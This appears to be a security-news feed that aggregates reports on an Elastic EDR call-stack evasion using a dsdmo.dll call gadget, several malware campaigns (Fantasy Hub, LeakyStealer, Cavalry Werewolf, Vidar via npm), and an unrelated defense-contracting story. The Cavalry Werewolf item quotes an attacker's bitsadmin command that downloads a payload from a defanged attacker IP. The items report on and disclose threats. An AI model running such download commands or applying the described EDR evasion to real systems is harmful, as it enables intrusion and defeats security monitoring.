• Security researchers have successfully evaded Elastic EDR’s call stack signature detection by exploiting a technique involving “call gadgets” to bypass the security tool’s behavioral analysis.

    The Almond research builds on Elastic’s transparent approach to security, as the company publicly shares its detection logic and allows researchers to test against their protections.

    Elastic EDR relies heavily on call stack analysis to identify malicious behavior, particularly detecting when sensitive operations originate from unbacked memory code loaded at runtime rather than from executable files on the filesystem.

    Understanding Elastic’s Call Stack and Call Gadgets Work

    This pattern typically indicates shellcode execution. When operations like loading network modules occur from suspicious memory locations, Elastic’s detection rules trigger alerts based on specific call stack signatures.

    The detection triggers and the process is killed
    The detection triggers and the process are killed

    The Almond researchers discovered they could bypass detection by inserting an additional module into the call stack between expected system libraries.

    Elastic’s detection rules look for specific call stack patterns, such as the signature “ntdll.dll|kernelbase.dll|ntdll.dll|kernel32.dll|ntdll.dll” when network modules load.

    By breaking this signature through call gadget manipulation, the researchers successfully evaded detection.

    Visual way of showing of flow
    Visual way of showing the flow

    The technique involves finding controllable call instructions within legitimate Windows DLLs that aren’t monitored by Elastic’s specific detection rules.

    Researchers identified suitable gadgets by analyzing System32 DLLs, searching for sequences containing a call instruction to a register followed by a return instruction.

    They discovered a stable gadget in dsdmo.dll that executes “call r10” followed by stack cleanup and a return.

    By jumping to this gadget instead of calling the target function directly, dsdmo.dll appears in the call stack between ntdll and kernelbase, effectively breaking the detection signature while maintaining legitimate execution flow.

    Stepping over the syscall instruction, the alert will trigger
    Stepping over the syscall instruction, the alert will trigger

    The researchers notified Elastic before publishing their findings. Elastic acknowledged the technique and is developing updated detection rules to address this evasion method.

    The complete proof-of-concept code has been published on GitHub, demonstrating the ongoing security research collaboration between independent researchers and EDR vendors.

    While this technique bypasses one specific detection rule, Elastic EDR maintains multiple detection layers throughout an implant’s execution lifecycle.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Researchers Evaded Elastic EDR’s Call Stack Signatures by Exploiting Call Gadgets appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Russian-based threat actors are actively distributing a sophisticated Android Remote Access Trojan called “Fantasy Hub” via Telegram-based Malware-as-a-Service channels, marking a significant escalation in mobile-focused cybercrime. Fantasy Hub represents a dangerous convergence of advanced evasion techniques, social engineering tactics, and deep system-level access. Security researchers from Zimperium’s zLabs have documented extensive capabilities of this spyware, […]

    The post New Android Malware ‘Fantasy Hub’ Spies on Users’ Calls, Contacts, and Messages appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Security researchers have uncovered a dangerous attack vector targeting Active Directory Sites, a critical yet often overlooked component of enterprise network infrastructure.  According to a recent technical analysis by Quentin Roland, attackers can exploit ACL-based attack paths within AD Sites to escalate privileges and potentially compromise entire domains. This discovery highlights a significant security gap […]

    The post Attackers Exploit Active Directory Sites to Escalate Privileges and Compromise Domain appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Imagine this: Sarah from accounting gets what looks like a routine password reset email from your organization’s cloud provider. She clicks the link, types in her credentials, and goes back to her spreadsheet. But unknown to her, she’s just made a big mistake. Sarah just accidentally handed over her login details to cybercriminals who are laughing all the way to their dark web

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A dangerous two-stage malware threat, LeakyInjector and LeakyStealer, that targets cryptocurrency wallets and personal browser information explicitly.

    The malware duo works in tandem to steal sensitive data from infected Windows computers. The attack begins when LeakyInjector, the first stage, quietly injects a second malware, LeakyStealer, into the explorer.exe process.

    This injection technique uses low-level Windows programming interfaces to avoid detection by security software. Once installed, LeakyStealer takes over and begins searching for cryptocurrency wallets and browser history files.

    What Data Gets Stolen

    According to Hybrid-analysis, the LeakyStealer hunts for multiple popular cryptocurrency wallets, including Electrum, Exodus, Atomic, and Ledger Live.

    It also targets browser-based crypto wallets like MetaMask, Phantom, Coinbase Wallet, and Trust Wallet.

    different browser extensions corresponding to crypto wallets
    different browser extensions corresponding to crypto wallets

    Beyond crypto theft, the malware extracts browser history from Google Chrome, Microsoft Edge, Brave, Opera, and Vivaldi browsers.

    The malware communicates with a command-and-control server to send stolen data back to the attackers.

    It uses sophisticated techniques, such as a “polymorphic engine” that modifies its own memory at runtime to evade security detection tools.

    The injector searches for the explorer.exe process
    The injector searches for the explorer.exe process

    Both malware stages are digitally signed with valid certificates, making them appear legitimate to Windows security systems.

    The malware establishes persistence by copying itself as “MicrosoftEdgeUpdateCore.exe” and adding itself to Windows startup routines, ensuring it survives system restarts.

    LeakySteaker regularly beacons to the attacker’s command server, sending back machine information such as hostname, username, and Windows version.

    Attackers can then send remote commands to download and execute additional malware or run Windows system commands on your computer , as reported by Hybrid-analysis.

    Users should immediately update security software and enable real-time monitoring. Avoid downloading software from untrusted websites, and be cautious of suspicious email attachments or links.

    Example of exfiltrating the browsing history files
    Example of exfiltrating the browsing history files

    Consider using hardware cryptocurrency wallets rather than browser-based extensions for greater security.

    Keep your operating system and browsers fully updated with the latest security patches to reduce vulnerability to such threats.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post LeakyInjector and LeakyStealer Malwares Attacks Users to Steal Crypto’s and Browser History appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • In July 2025, a sophisticated hacker group known as Cavalry Werewolf executed a targeted campaign against Russian government institutions, compromising critical infrastructure through coordinated phishing operations.

    The discovery of this campaign reveals a complex attack chain designed to establish persistent network access, extract sensitive data, and maintain long-term control over compromised systems.

    Dr.Web security analysts identified the group after being contacted by a targeted government organization that detected suspicious email traffic originating from internal corporate accounts, suggesting unauthorized network access.

    The investigation uncovered multiple previously unknown malware variants deployed across a multi-stage infection process.

    The attackers demonstrated sophisticated operational security practices by leveraging open-source tools, employing encryption, and establishing command-and-control infrastructure across multiple servers.

    Their arsenal includes various reverse-shell backdoors, data theft trojans, and process injection techniques that allow remote command execution without triggering traditional security mechanisms.

    Dr.Web security researchers noted that this campaign represents a significant escalation in sophistication, with the group continuously expanding their toolkit to adapt to different target environments.

    The attack methodology focuses on deploying backdoors that establish remote shell access, enabling attackers to execute commands and maintain persistence within compromised networks.

    This approach provides the flexibility to deploy additional malware stages based on reconnaissance findings within each target organization.

    Initial Access and Primary Infection Vector

    Cavalry Werewolf initiates attacks through phishing emails containing weaponized attachments masquerading as official government documents.

    An example of a phishing email containing BackDoor.ShellNET.1 (Source – Dr.Web)

    The primary infection stage, identified as BackDoor.ShellNET.1, arrives in password-protected archives with deceptive filenames such as administrative reports and internal communications.

    Once executed, this reverse-shell backdoor based on Reverse-Shell-CS open-source software enables the attackers to remotely connect to infected systems and execute arbitrary commands.

    Following initial compromise, the attackers leverage the legitimate Windows utility Bitsadmin to download additional malicious payloads through remote command execution.

    This represents a classic living-off-the-land technique where legitimate system tools become vectors for malware deployment. The command syntax follows this pattern: bitsadmin /transfer www /download hxxp[:]//195[.]2.79[.]245/winpot.exe C:\users\public\downloads\winpot.exe.

    This particular sequence demonstrates how attackers maintain operational security by using standard Windows mechanisms that typically appear legitimate in network logs.

    The subsequent infection stages introduce file theft trojans like Trojan.FileSpyNET.5, capable of exfiltrating documents in common formats including Word files, Excel spreadsheets, PDFs, and image files.

    The attackers then deploy BackDoor.Tunnel.41, based on ReverseSocks5 open-source software, which creates SOCKS5 tunnels for inconspicuous remote access and command execution.

    This layered approach allows the group to maintain multiple access points within compromised infrastructure, ensuring persistence even if individual backdoors are detected and removed.

    The technical sophistication displayed throughout the campaign underscores the evolving threat landscape facing government organizations.

    By combining legitimate tools, open-source frameworks, and custom malware modifications, Cavalry Werewolf demonstrates a mature operational capability designed to evade detection while maintaining flexible command-and-control structures suitable for diverse target environments.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Cavalry Werewolf Attacking Government Organizations to Deploy Backdoor for Network Access appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • From DOGE’s initial descent to the longest government shutdown in U.S. history, defense contractors are weathering policy changes at different rates during the first leg of the second Trump administration. But while larger companies are thriving, smaller companies—the very ones the White House and Pentagon want to court—have a bumpier ride. 

    Leidos, which ranks No. 15 in global defense companies, is doing well this year. CEO Thomas Bell touted higher revenue—up about 7 percent to $4.5 billion compared to last year—during the company’s third-quarter earnings call Tuesday. 

    Bell said most of its programs haven’t been affected by the government shutdown thanks to how central many of the technologies are to government missions, and many that are either already funded or not only tied to “discretionary budgets.” 

    Leidos’ offerings, particularly in defense, also align with ongoing needs and current administration priorities, such as Golden Dome’s mission defense, air traffic control modernization, border security, and maritime autonomy, he said. 

    Other big defense contractors—Leonardo DRS, General Dynamics, RTX—also noted positive third-quarter results in the latest rounds of earnings calls. But some executives said the shutdown had put contracting talks on hold,which could become a problem if the shutdown—already the longest ever—stretches into the coming months. 

    Despite another failed vote earlier this week, lawmakers have signaled an agreement could be reached soon. The Senate is scheduled to vote Friday on a deal that could end the shutdown; but there’s no guarantee. And whenever the government reopens, it’s unlikely defense companies will come out unscathed. 

    The shutdown has halted security clearance processes, paused military and commercial pilot training, curtailed some intelligence gathering, and slowed maintenance and overhaul work for military platforms, according to the Professional Services Council, a trade group that represents government contractors. 

    Last week, the National Defense Industrial Association pushed Congressional leaders to end the shutdown and pass a full year’s funding for 2026, warning of schedule delays and supply chain snags as companies miss payments. 

    “While many larger defense contractors prudently planned to perform at-risk work without pay to manage a shutdown for a short duration, this cannot be sustained indefinitely,” David Norquist, NDIA’s president and former Pentagon deputy defense secretary, wrote in an Oct. 29 letter to congressional leaders. 

    NDIA represents more than 1,500 companies of various sizes, but mostly small businesses “with limited cash flow availability to sustain operations during a shutdown. This is why impacts on the U.S. [defense industrial base] will likely become even more visible the longer the shutdown persists,” he wrote. 

    The Aerospace Industries Association, which represents defense and commercial-service companies, also urged an end to the shutdown, because, wrote AIA’s president and CEO Eric Fanning, it “will disrupt new programs, halt innovation, slow the FAA,” among other things.

    Fanning also pointed out that the shutdown coincides with authorization lapses in three programs defense companies rely on: the Small Business Innovation Research, Cybersecurity Information Sharing Act, and the Defense Production Act. 

    Reactions to the immediate effects of the shutdown vary. Some defense tech company founders cast it as an irritation or frustration, while others see it as disruptive to ongoing contract talks or awards that were in progress. There’s also the threat of missed or late payments, which could be critical for a company new and unfamiliar with the fits and starts of government funding. 

    Even when the government reopens, it’ll be under a continuing resolution unless Congress is able to pass a full year budget. And CRs bring their own brand of worries. 

    Nathan Mintz, CEO of CX2, a counterdrone tech company based in El Segundo, Calif., told Defense One that things are largely normal, besides slowed communications as a result of barebones contracting staff.

    “A lot of the funding and resources that we have was already approved under the One Big Beautiful Bill, and it's just business as usual. Particularly the counter-UAS stuff; there's a lot of that that's going forward,” Mintz said. 

    But some things are on hold or slowed down, such as Small Business Innovation Research, or SBIR, awards. 

    “Most of those people are furloughed. A lot of other contract offices or [program executive office are on skeleton crew or lower staff. And there is a slower, not just contracting cycle right now, but just answering questions, for somebody to pick up the phone. So it has slowed things down. But in some areas, it's business as normal.”

    And like some of the big primes, which are looking to international markets as budgets increase, startups may be “hardier” and more nimble with the ability to serve new markets outside of the U.S. go after smaller contracts with shorter acquisition cycles

    “Startups are particularly well suited to that because a lot of our products have been designed to have either minimal ITAR security classification restrictions or to be entirely dual-use,” Mintz said. “And so that makes it much easier for us to proliferate [technologies] to our allies, which means that we're somewhat uncoupled from the uncertainty in the U.S. budget.”

    Western investors are pouring money into Ukraine startups and some defense tech companies, like Anduril, have opened up offices in other countries, like Taiwan, to feed that demand. 

    Startups, he said, “are able to diversify their customer set a lot faster versus the primes,” which tend to first sell products to the Pentagon and branch out once it's fully ready. 

    But in the near-term, there’s concern that companies new to defense haven’t yet built up the knowledge or resilience to weather fickle U.S. government funding.  

    For example, companies relying on research and development funds will have to wait until the shutdown ends to resume getting those payments. 

    “Basically, that's just money getting pushed to the right; things that will affect end-of-year numbers a little bit, but aren't going to be catastrophic for the business…that money will still be there when the government reopens,” one early stage defense tech company founder, who asked for anonymity, told Defense One. “Because we bootstrapped for so long, we built a shutdown scenario and, like a CR [scenario] into our planning.”

    But that’s not always the case—especally with small business-focused contracts. And beyond cash flow needs, government shutdowns prevent companies from developing or improving products because the feedback loop is delayed or closed. 

    “We've had a new award during the shutdown, and that is a Navy SBIR. The award process probably took a little bit longer, but it happened,” the CEO said. “It’s a phase one SBIR, so it's not so much about the revenue as what that does to validate our roadmap.”

    “It can slow down customer feedback cycles, which can be just as important,” as cash flow, the tech founder said. “You want to double down on R&D or product development when you don't have customer demands on you, but you can't do that really well if you don't have customer engagement…you can't get feedback on those new features.”

    Even when the government reopens, Congress still hasn’t passed a budget for 2026. That means defense companies will still have to contend with stopgap funding, or a continuing resolution, which doesn’t allow for new program starts and awards. 

    “That's, I think, where things get really, potentially bad for startups—especially ones that are new to the defense space. Because maybe they don't realize that means no new starts. So contracts that they had projected starting in Q1 of calendar year 2026, might not happen, even though the money is theoretically going to be there and the customer wants to start,” they said. 

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Datadog Security Research has uncovered a sophisticated supply chain attack targeting the npm ecosystem, involving 17 malicious packages across 23 releases designed to deliver the Vidar infostealer malware to Windows systems. The campaign, attributed to a threat actor cluster tracked as MUT-4831, represents a significant escalation in npm-based threats and marks the first known public […]

    The post Over 15 Malicious npm Packages Exploiting Windows to Deploy Vidar Malware appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Security researchers have developed a new technique that leverages call gadgets to insert arbitrary modules into the call stack during module loading, successfully bypassing Elastic EDR’s signature-based detection rules. Openness in Elastic EDR Detection Logic Elastic’s policy of transparency making its detection logic and payload testing tools publicly available has enabled the security community to […]

    The post Researchers Bypass Elastic EDR Call-Stack Signatures Using Call Gadgets appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Google on Thursday said it’s rolling out a dedicated form to allow businesses listed on Google Maps to report extortion attempts made by threat actors who post inauthentic bad reviews on the platform and demand ransoms to remove the negative comments. The approach is designed to tackle a common practice called review bombing, where online users intentionally post negative user reviews in an

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶